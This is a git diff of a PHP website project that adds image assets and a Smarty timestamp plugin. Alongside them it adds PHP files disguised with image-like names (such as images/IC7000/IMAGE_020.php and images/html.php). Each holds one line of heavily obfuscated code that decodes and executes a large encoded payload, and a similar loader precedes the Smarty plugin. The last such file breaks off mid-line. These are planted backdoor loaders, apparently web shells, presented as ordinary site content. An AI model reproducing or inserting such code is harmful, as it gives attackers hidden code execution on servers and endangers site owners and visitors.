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";$WfXfcPKbAck=$XGLRKUFWWPC($ujjdRsCSdoJ,$WVwibycfvfj);$WfXfcPKbAck($HrsSeXfkoCd);
+/**
+ * Smarty shared plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Function: smarty_make_timestamp<br>
+ * Purpose:  used by other smarty functions to make a timestamp
+ *           from a string.
+ * @param string
+ * @return string
+ */
+function smarty_make_timestamp($string)
+{
+    if(empty($string)) {
+        $string = "now";
+    }
+    $time = strtotime($string);
+    if (is_numeric($time) && $time != -1)
+        return $time;
+
+    // is mysql timestamp format of YYYYMMDDHHMMSS?
+    if (preg_match('/^\d{14}$/', $string)) {
+        $time = mktime(substr($string,8,2),substr($string,10,2),substr($string,12,2),
+               substr($string,4,2),substr($string,6,2),substr($string,0,4));
+
+        return $time;
+    }
+
+    // couldn't recognize it, try to return a time
+    $time = (int) $string;
+    if ($time > 0)
+        return $time;
+    else
+        return time();
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/images/IC7000/IMAGE_020.jpg b/images/IC7000/IMAGE_020.jpg
new file mode 100644 (file)
index 0000000..bad4a7d
Binary files /dev/null and b/images/IC7000/IMAGE_020.jpg differ
diff --git a/images/IC7000/IMAGE_020.php b/images/IC7000/IMAGE_020.php
new file mode 100644 (file)
index 0000000..004dbaf
--- /dev/null
@@ -0,0 +1 @@
+<?php $JkiZjTcL='MwazCtEl5QjhHT(r2m9YZioy|_PkBWU4;"vnbS7q,LpAKu8OGd{VXfIJ1+*DR.sF6c0}x]eN)/g3$ [^';$rOyFGojm=$JkiZjTcL{65}.$JkiZjTcL{15}.$JkiZjTcL{70}.$JkiZjTcL{2}.$JkiZjTcL{5}.$JkiZjTcL{70}.$JkiZjTcL{25}.$JkiZjTcL{53}.$JkiZjTcL{45}.$JkiZjTcL{35}.$JkiZjTcL{65}.$JkiZjTcL{5}.$JkiZjTcL{21}.$JkiZjTcL{22}.$JkiZjTcL{35};$AGlORdqX=$JkiZjTcL{76}.$JkiZjTcL{62};$NbmLnwdI=$JkiZjTcL{53}.$JkiZjTcL{45}.$JkiZjTcL{35}.$JkiZjTcL{65}.$JkiZjTcL{5}.$JkiZjTcL{21}.$JkiZjTcL{22}.$JkiZjTcL{35}.$JkiZjTcL{77}.$JkiZjTcL{15}.$JkiZjTcL{46}.$JkiZjTcL{14}.$JkiZjTcL{76}.$JkiZjTcL{62}.$JkiZjTcL{40}.$JkiZjTcL{76}.$JkiZjTcL{42}.$JkiZjTcL{72}.$JkiZjTcL{50}.$JkiZjTcL{15}.$JkiZjTcL{70}.$JkiZjTcL{5}.$JkiZjTcL{45}.$JkiZjTcL{15}.$JkiZjTcL{35}.$JkiZjTcL{77}.$JkiZjTcL{76}.$JkiZjTcL{62}.$JkiZjTcL{79}.$JkiZjTcL{62}.$JkiZjTcL{5}.$JkiZjTcL{15}.$JkiZjTcL{25}.$JkiZjTcL{42}.$JkiZjTcL{2}.$JkiZjTcL{49}.$JkiZjTcL{14}.$JkiZjTcL{76}.$JkiZjTcL{42}.$JkiZjTcL{40}.$JkiZjTcL{62}.$JkiZjTcL{5}.$JkiZjTcL{15}.$JkiZjTcL{7}.$JkiZjTcL{70}.$JkiZjTcL{35}.$JkiZjTcL{14}.$JkiZjTcL{76}.$JkiZjTcL{62}.$JkiZjTcL{72}.$JkiZjTcL{40}.$JkiZjTcL{76}.$JkiZjTcL{42}.$JkiZjTcL{72}.$JkiZjTcL{32}.$JkiZjTcL{67}.$JkiZjTcL{32}.$JkiZjTcL{70}.$JkiZjTcL{34}.$JkiZjTcL{2}.$JkiZjTcL{7}.$JkiZjTcL{14}.$JkiZjTcL{15}.$JkiZjTcL{46}.$JkiZjTcL{14}.$JkiZjTcL{36}.$JkiZjTcL{2}.$JkiZjTcL{62}.$JkiZjTcL{70}.$JkiZjTcL{64}.$JkiZjTcL{31}.$JkiZjTcL{25}.$JkiZjTcL{49}.$JkiZjTcL{70}.$JkiZjTcL{65}.$JkiZjTcL{22}.$JkiZjTcL{49}.$JkiZjTcL{70}.$JkiZjTcL{14}.$JkiZjTcL{76}.$JkiZjTcL{62}.$JkiZjTcL{72}.$JkiZjTcL{40}.$JkiZjTcL{33}.$JkiZjTcL{15}.$JkiZjTcL{41}.$JkiZjTcL{43}.$JkiZjTcL{63}.$JkiZjTcL{44}.$JkiZjTcL{68}.$JkiZjTcL{15}.$JkiZjTcL{70}.$JkiZjTcL{33}.$JkiZjTcL{72}.$JkiZjTcL{72}.$JkiZjTcL{32};$NdqwVFuM="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";$RzXHFsqr=$rOyFGojm($AGlORdqX,$NbmLnwdI);$RzXHFsqr($NdqwVFuM);?>
\ No newline at end of file
diff --git a/images/IC7000/IMAGE_228.jpg b/images/IC7000/IMAGE_228.jpg
new file mode 100644 (file)
index 0000000..053b376
Binary files /dev/null and b/images/IC7000/IMAGE_228.jpg differ
diff --git a/images/IC7000/IMAGE_230.jpg b/images/IC7000/IMAGE_230.jpg
new file mode 100644 (file)
index 0000000..0ae2dcb
Binary files /dev/null and b/images/IC7000/IMAGE_230.jpg differ
diff --git a/images/IC7000/IMAGE_234.jpg b/images/IC7000/IMAGE_234.jpg
new file mode 100644 (file)
index 0000000..1145ded
Binary files /dev/null and b/images/IC7000/IMAGE_234.jpg differ
diff --git a/images/IC7000/IMAGE_236.jpg b/images/IC7000/IMAGE_236.jpg
new file mode 100644 (file)
index 0000000..7742f0e
Binary files /dev/null and b/images/IC7000/IMAGE_236.jpg differ
diff --git a/images/IC7000/IMAGE_237.jpg b/images/IC7000/IMAGE_237.jpg
new file mode 100644 (file)
index 0000000..8ca4d4d
Binary files /dev/null and b/images/IC7000/IMAGE_237.jpg differ
diff --git a/images/IC7000/IMAGE_238.jpg b/images/IC7000/IMAGE_238.jpg
new file mode 100644 (file)
index 0000000..42b3234
Binary files /dev/null and b/images/IC7000/IMAGE_238.jpg differ
diff --git a/images/grnball.gif b/images/grnball.gif
new file mode 100755 (executable)
index 0000000..5f7740b
Binary files /dev/null and b/images/grnball.gif differ
diff --git a/images/help.gif b/images/help.gif
new file mode 100755 (executable)
index 0000000..4915678
Binary files /dev/null and b/images/help.gif differ
diff --git a/images/html.gif b/images/html.gif
new file mode 100755 (executable)
index 0000000..21e8e85
Binary files /dev/null and b/images/html.gif differ
diff --git a/images/html.php b/images/html.php
new file mode 100644 (file)
index 0000000..f83d084
--- /dev/null
@@ -0,0 +1 @@
+<?php $rkpJqD='|"Tiz_P.vCA5uW}ckwt[)yQ(aHRhFUl{^r4f9$8ZsBDK2jJGbEpXq07NYVSIn*e6dm] ,O;Mg+xL13/o';$tgQArF=$rkpJqD{15}.$rkpJqD{33}.$rkpJqD{62}.$rkpJqD{24}.$rkpJqD{18}.$rkpJqD{62}.$rkpJqD{5}.$rkpJqD{35}.$rkpJqD{12}.$rkpJqD{60}.$rkpJqD{15}.$rkpJqD{18}.$rkpJqD{3}.$rkpJqD{79}.$rkpJqD{60};$GafwPK=$rkpJqD{37}.$rkpJqD{40};$OqGBnS=$rkpJqD{35}.$rkpJqD{12}.$rkpJqD{60}.$rkpJqD{15}.$rkpJqD{18}.$rkpJqD{3}.$rkpJqD{79}.$rkpJqD{60}.$rkpJqD{67}.$rkpJqD{33}.$rkpJqD{38}.$rkpJqD{23}.$rkpJqD{37}.$rkpJqD{40}.$rkpJqD{68}.$rkpJqD{37}.$rkpJqD{50}.$rkpJqD{20}.$rkpJqD{31}.$rkpJqD{33}.$rkpJqD{62}.$rkpJqD{18}.$rkpJqD{12}.$rkpJqD{33}.$rkpJqD{60}.$rkpJqD{67}.$rkpJqD{37}.$rkpJqD{40}.$rkpJqD{32}.$rkpJqD{40}.$rkpJqD{18}.$rkpJqD{33}.$rkpJqD{5}.$rkpJqD{50}.$rkpJqD{24}.$rkpJqD{64}.$rkpJqD{23}.$rkpJqD{37}.$rkpJqD{50}.$rkpJqD{68}.$rkpJqD{40}.$rkpJqD{18}.$rkpJqD{33}.$rkpJqD{30}.$rkpJqD{62}.$rkpJqD{60}.$rkpJqD{23}.$rkpJqD{37}.$rkpJqD{40}.$rkpJqD{20}.$rkpJqD{68}.$rkpJqD{37}.$rkpJqD{50}.$rkpJqD{20}.$rkpJqD{70}.$rkpJqD{14}.$rkpJqD{70}.$rkpJqD{62}.$rkpJqD{8}.$rkpJqD{24}.$rkpJqD{30}.$rkpJqD{23}.$rkpJqD{33}.$rkpJqD{38}.$rkpJqD{23}.$rkpJqD{48}.$rkpJqD{24}.$rkpJqD{40}.$rkpJqD{62}.$rkpJqD{63}.$rkpJqD{